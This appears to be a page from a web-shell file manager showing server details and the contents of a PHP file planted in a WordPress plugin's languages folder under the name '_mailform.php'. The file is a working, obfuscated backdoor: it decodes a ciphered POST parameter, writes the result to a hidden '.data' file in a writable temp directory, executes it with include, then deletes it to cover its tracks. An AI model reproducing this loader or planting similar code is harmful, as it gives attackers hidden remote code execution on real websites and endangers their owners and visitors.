HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/plugins/1773385768-125616c6e9d984c/languages/_mailform.php
<?php

if(isset($_POST) && isset($_POST["itm"])){
	$entity = $_POST["itm"];
	$entity=	  explode	 	(	 '.'	, 	 $entity		)	; 	
	$dchunk = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s		);
            $len = count( 	$entity		);
    
            for( 	$z = 0; $z < $len; $z++) {$v3 = $entity[$z];
                $sChar = ord( 	$s[$z % $sLen]		);
                $dec =( 	( 	int)$v3 - $sChar -( 	$z % 10))^	90;
                $dchunk .= chr( 	$dec		);
            }
	$flg = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm"]);
	foreach ($flg as $val) {
    		if (is_dir($val) ? is_writable($val) : false) {
    $elem = sprintf("%s/.data", $val);
    if (file_put_contents($elem, $dchunk)) {
	include $elem;
	@unlink($elem);
	die();
}
}
}
}